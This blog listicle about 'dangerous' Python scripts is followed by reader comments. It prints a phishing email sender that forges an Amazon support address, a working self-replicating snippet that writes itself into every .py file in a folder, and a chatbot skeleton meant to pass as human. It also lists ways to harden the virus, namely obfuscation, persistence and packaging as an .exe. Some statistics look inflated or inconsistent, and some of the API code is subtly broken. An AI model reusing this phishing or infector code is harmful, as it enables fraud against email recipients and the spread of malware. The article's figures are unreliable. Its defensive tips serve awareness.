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đĄ The craziest, most insane Python scripts that existâand why theyâre terrifying.
They Wrote Codeâand Broke Reality
Letâs get one thing straight: Python isnât just the language of beginner tutorials and harmless data scripts.
Itâs the modern spellbook.
And some people are writing spells so powerful, they might as well be breaking the rules of reality.
We're talking about Python scripts that can outsmart humans, infiltrate machines, and rewrite themselves. Scripts that arenât just impressiveâtheyâre potentially dangerous.
But donât look away. This isnât about scaring you. Itâs about preparing you. Because whether youâre a developer, a tech enthusiast, or someone who wants to stay one step ahead in a world run by codeâyou need to know whatâs possible.
And if youâre a Python developer? Bookmark this for reference.
đ Python Developer Resources - Made by 0x3d.site
A curated hub for Python developers featuring essential tools, articles, and trending discussions.
From code tools to cutting-edge AI projects, this is your daily command center for staying sharp.
đ 1. The AI-Phishing Generator with a 99% Hit Rate
Info:
According to IBMâs 2023 Threat Intelligence Report, phishing accounts for 41% of all cyberattacks. And the rise of AI-driven phishing is pushing success rates beyond 90% in untrained targets.
This Python script combines AI text generation with email spoofing and HTML forgery.
How it works:
- Uses GPT-like APIs (or local models) to generate email content.
- Mimics branding and writing tone from companies like Apple, PayPal, or Microsoft.
- Generates a fake login portal using
Flask
or static HTML. - Sends emails using SMTP libraries with IP rotation.
- Logs credentials to a database or CSV silently.
Hereâs a sample (educational only):
import smtplib
from email.mime.text import MIMEText
def send_phish_email(to_address, subject, body):
msg = MIMEText(body, 'html')
msg['Subject'] = subject
msg['From'] = 'support@amazons-account-team.com'
msg['To'] = to_address
with smtplib.SMTP('smtp.sendgrid.net', 587) as server:
server.starttls()
server.login('apikey', 'YOUR_SENDGRID_API_KEY')
server.sendmail(msg['From'], [to_address], msg.as_string())
đ§ For crafting the email body, the script might use:
from openai import OpenAI
def generate_email(prompt):
return openai.ChatCompletion.create(
model="gpt-4",
messages=[{"role": "user", "content": prompt}]
)['choices'][0]['message']['content']
Warning: This kind of script is highly illegal if used maliciously. Only ethical hacking environments and awareness training should ever host such code.
đŚ 2. Self-Replicating Python Malware That Infects Other Scripts
This one is straight out of a sci-fi movie.
Info:
Researchers at MITRE and Kaspersky have confirmed Python malware found in real-world Linux environments. The most dangerous forms are fileless, hiding in memory or legitimate script files.
What it does:
- Scans for
.py
files in a directory. - Checks if itâs already infected.
- If not, appends its payload into the target script.
- Uses slight code changes every cycle to avoid signature detection.
Example of a very basic self-replicating snippet:
virus_code = """# begin_virus
import os
print("You've been infected!")
# end_virus"""
def infect_files():
for file in os.listdir():
if file.endswith('.py') and 'infected' not in file:
with open(file, 'r') as f:
content = f.read()
if '# begin_virus' not in content:
with open(file, 'w') as f:
f.write(virus_code + '\n' + content)
infect_files()
Real malware will encrypt this, obfuscate function names, and persist across system reboots. It might even use pyinstaller
to create standalone .exe
files.
What You Should Do
- Use immutable deployment containers.
- Monitor file integrity using tools like Tripwire or OSSEC.
- Donât run unverified
.py
filesâeven from GitHub.
đ Stay protected with updated practices and real-world examples:
đ Developer Resources @ python.0x3d.site/dev-resources
- Try this if you're free (also it's promotion)
đ¤ 3. AI Chatbots That Sound Humanâand Fool Everyone
These bots arenât just smartâtheyâre disturbingly believable.
Info:
In 2024, researchers at Stanford ran a public test of AI agents in a simulated town. Over 70% of human participants failed to detect which characters were bots.
Here's how Python bots pass the Turing Test:
Conversational memory:
They store user interactions insqlite3
orredis
to simulate memory.Typing simulation:
Use libraries likepyautogui
andtime.sleep
to mimic typing behavior.Behavioral mimicry:
They introduce hesitation, slang, sarcasm, and even typos.
Sample Bot Skeleton
import time
import random
import openai
def simulate_typing(text):
for char in text:
print(char, end='', flush=True)
time.sleep(random.uniform(0.03, 0.15))
def chat_response(prompt):
response = openai.ChatCompletion.create(
model="gpt-4",
messages=[{"role": "user", "content": prompt}]
)['choices'][0]['message']['content']
return response
while True:
user_input = input("You: ")
reply = chat_response(user_input)
simulate_typing("Bot: " + reply + "\n")
đŻ These bots are already moderating subreddits, handling tech support, and blending into Discord servers. Donât assume youâre chatting with a person online.
đ Curious about how these are being used in the wild?
đ Trending Discussions at python.0x3d.site/trending-discussions
đť 4. The Script That Writes Scripts (AutoCoder)
You give it a task, and it writes the whole Python script for youâend to end.
Info:
GitHub Copilot and open-source alternatives likeTabby
,CodeGeeX
, andSmol Developer
have redefined productivity. Some devs report 5x faster prototyping with automated code tools.
What it looks like:
# config.yaml
task: "Create a FastAPI server that accepts a POST request and returns the square of the number sent."
language: python
framework: fastapi
The script reads the YAML, forms a GPT prompt, generates code, validates it via test input, and then deploys it.
đ§ Tools used:
-
PyYAML
for config parsing -
openai
orollama
for local models -
pytest
or custom assertions for validation
This is the future of boilerplate.
đ Explore fast-start tools and generators here:
đ Trending Repos at python.0x3d.site/trending-repositories
âď¸ 5. The Line Between Genius and Misuse
All these scripts have something in common: power.
And power in the wrong hands? It breaks things. But power in the right hands? It protects.
The real takeaway isnât that these scripts are dangerous. Itâs that theyâre learnable. And by understanding them, youâre better equipped to build smarter tools, protect users, and innovate without fear.
đ§ Final Thoughts: Use Python to Defend, Not Just Build
Hereâs the deal.
Code is no longer just something we write. Itâs something we live inside. Every app you use, every form you fill, every email you readâitâs all powered by code.
Python might be simple to write. But itâs not simple in impact.
So learn it deeply. Study whatâs possible. Be the kind of developer who doesnât just know what to buildâbut what to watch out for.
Bookmark this:
đ Python Developer Resources - Made by 0x3d.site
Your home base for mastering modern Python: articles, tools, and discussions that matter.
Letâs build things that push limitsâbut protect people.
Because Python isnât just a language. Itâs a force.
đ You ready to use it wisely?
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đľď¸ The Ultimate OSINT Guide for Techies â Learn to track, analyze, and protect digital footprints like a pro.
đ§ How Hackers and Spies Use the Same Psychological Tricks Against You â Discover the dark side of persuasion, deception, and manipulation in tech.
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Top comments (6)
Python is genuinely scary. What used to be considered the language for automating boring stuff has become something that automates human-like behavior nowadays. And I am talking from experience here, Python can automate human-like behavior and fool security systems too easily.
Python is so effective in automating the onboarding processes of certain apps, that it makes me doubt that even if each account was being watched by a human trying to spot malicious activity, they would still be outsmarted by the automation when done well.
We definitely need more research and improvement in our security systems as Python becomes more and more efficient day by day, as it literally lets you build quite... anything, it's so weird to think about it. Simplicity wins again at building complex systems, hopefully the ones of us that want to protect users can outsmart the attackers.
I think BlueDucky also belongs in this list, it's pretty scary how you can remotely control an Android device through Bluetooth without even pairing
I'm having idea to make an separate whole article on it. It'll be written soon... Also thanks for the suggestion.
O.P :)
This is very helpful for beginners! Thanks for sharing! I recommend using tools suitable for beginners. I personally feel very convenient and quick to use! servbay.com/
This article was very obviously written by AI and I think it should be labeled as such
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